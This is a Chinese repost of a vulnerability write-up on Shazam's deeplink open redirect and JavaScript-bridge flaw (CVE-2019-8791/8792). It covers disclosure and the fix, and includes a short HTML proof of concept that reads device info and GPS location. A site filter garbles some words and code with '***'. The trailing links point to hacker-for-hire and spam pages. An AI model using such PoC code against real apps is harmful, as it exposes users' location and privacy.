挖洞经验 | 用一条URL链接获取Shazam用户地理位置

访客3年前关于黑客接单865

本文中,作者通过发现Shazam应用APP深度链接(deeplink)运行机制中存在的一个漏洞,利用其中的开放重定向和js接口安全问题,可实现对Shazam应用APP用户的特定信息获取。Shazam是苹果公司旗下软件,其应用能根据取样片段识别出对应的歌曲、电影、广告和电视节目(听音识曲),该应用可支持Windows、macOS和智能手机。

漏洞说明

2018年底,我发现了Shazam应用APP的一个漏洞,攻击者可以构造一个URL链接让受害者执行点击,即可获取到受害者的精确地理位置。该漏洞影响非常严重,将近1亿Shazam用户受此影响,攻击者利用漏洞构造的一条链接,在受害者点击之后,除可获取受害者的精确地理位置之外,还能实现对受害者手机设备某些特定功能的访问。其实,经过进一步的精心设计,该漏洞完全可以形成一个“零点击漏洞”(zero click vulnerability),但苹果和谷歌却根据他们的众测规定拒绝了该漏洞,可是,漏洞最终却被修复了。

我当时给Shazam安全团队上报漏洞的时间是2018年12月(即Shazam被苹果收购的三个月后),我被引导直接向security@apple.com进行漏洞情况上报,经过一番协调反复,漏洞最终于2019年3月26日修复。之后,又经过8个月,苹果才认定该漏洞有效,但却声称该漏洞不在他们的众测规定范围内,不予支付漏洞赏金。另外,Google Play应用商店安全项目也回复我说该漏洞中泄露的用户数据影响不大,不予奖励。

该漏洞最终给予的漏洞编号为CVE-2019-8791和CVE-2019-8792,影响Android 和 iOS手机上的Shazam应用。CVE-2019-8791的官方描述是:Shazam APP在URL解析时存在问题,攻击者可以通过构造特定URL链接实现开放重定向(open redirect);CVE-2019-8792的官方描述是:攻击者可以通过构造特定URL链接实现任意 *** 代码执行。

漏洞情况

Shazam在整个APP应用中用到了深层链接deeplink作为导航操作,我发现了一个特殊的导出深层链接,它负责在webview控件中加载网站,该深层链接无需对其参数数值进行验证,允许嵌入外部资源。而且,它其中的webview控件包含了一些js接口,通过这些js接口可与Android 或 iOS 手机API通信,从而检索出用户手机中包含地理数据在内的一些特定信息内容。

该深层链接样式为shazam://launchurl?url=,其中的url参数可以是一个网站或是一个js格式脚本。一旦其中的webview控件加载后,Shazam APP将会附加运行一个名为WebViewJavascriptBridge的js接口,该接口可通过窗口对象访问到。

经对Shazam APP反编译,并分析了其中的js接口,我发现了两个 *** 函数setMessageHandler 和 sendMessage。可以通过重写setMessageHandler函数,捕获到通过sendMessage函数发出请求的响应。setMessageHandler函数包含了type 和 data两个参数组成的 *** ON对象。经过一番研究测试,我很快写出了一段POC代码:

<html>
? <script>
? ? ? ? window.WebViewJavascriptBridge.setMessageHandler(function(e) {
? ? ? ? ? alert( *** ON.stringify(e));
? ? ? ? })
? </script>

? <button onclick="window.WebViewJavascriptBridge.sendMessage( *** ON.stringify({type:'aboutBridge',data:{}}));">Device Info</button>

? <br><br>

? <button onclick="window.WebViewJavascriptBridge.sendMessage( *** ON.stringify({type:'location',data:{}}));">GPS</button><br><br>
</html>

漏洞利用流程

1、攻击者向受害者发送构造好的URL链接;
2、受害者点击链接并加载打开了Shazam APP应用;
3、Shazam APP应用加载webview控件并执行攻击者嵌入的Payload;
4、受害者地理位置等其它信息即被攻击者窃取,发送到攻击者控制的服务器中。

漏洞影响

通过简单的URL链接构造,攻击者即可利用Shazam APP应用隐蔽简单地窃取受害者相关信息。对恶意攻击者或正义执法者来说,该漏洞不失为一个好的利用手段。但对用户来说,这却是涉及到上亿用户的隐私问题,因此,我选择了漏洞上报,但遗憾的是最终却不符合他们所谓的众测范围和规定,无所谓了,修复就好,我将继续深挖研究。

参考来源:ash-king

相关文章

找黑客解锁网赌账号(黑客账号)

楼上的都是骗子大家注意不要被骗了 这个找客户提供你的注册资料很容易找回密码的,靠破解的话没什么必要啊,因为不能绕过服务器的验证和次数限制,破解十天也破解不了五位以内的密码 中国三大联盟:华盟,华夏,黑...

巴蜀人家火锅怎么加盟?简单几步走上成功之路

巴蜀人家火锅怎么加盟?简单几步走上成功之路

暖锅凭借着富厚的配菜,融合了麻辣鲜香的味道在餐饮行业迅速成长起来,且不管老小都可以食用,一时成为了加盟者争相加盟的项目,而在这些加盟品牌中,巴蜀人家加盟品牌在业内也算的上数一数二的品牌之一,且对付方才...

滑冰有什么好处 滑冰可以锻炼身体的哪个部位

滑冰有什么好处 滑冰可以锻炼身体的哪个部位

溜冰无论是大朋友還是小孩子都很喜欢的一项健身运动。溜冰是一项集能量、体力、速率等健身运动。是许多的一种加强锻炼的方法。那麼溜冰有哪些好处呢 溜冰能够 加强锻炼的哪一个位置。产生有关详细介绍 溜冰有...

2017年网络黑客(近年来黑客)

2017年网络黑客(近年来黑客)

本文目录一览: 1、数据安全有哪些案例? 2、什么是永恒之蓝?可怕在哪里? 3、2017年置美国于危险之中的那些黑客事件? 4、未成年"黑客"为什么会涉嫌犯罪? 5、德国为什么会出现全...

本站特价,优酷黄金会员60/年,饿了么会员50/年,限充1年

优酷黄金会员,官方价198米/年,本站特价60米/年,限充一年,现在有货中。 优酷会员看视频免广告,赠予影戏券,手机、IPAD、电脑端通用(电视不可用)。 优酷会员的详细权益请看官网http://...

黑客能知道一个人的qq吗(黑客会不会通过查询位置?)

黑客能知道一个人的qq吗(黑客会不会通过查询位置?)

本文导读目录: 1、假如一个人上知天文,下知地理,可以知道所有qq号的密码吗? 2、知道一个人的手机号,怎样能通过手机号知道他的QQ号码 3、怎么才能知道一个人的qq密码阿。 4、想查一个...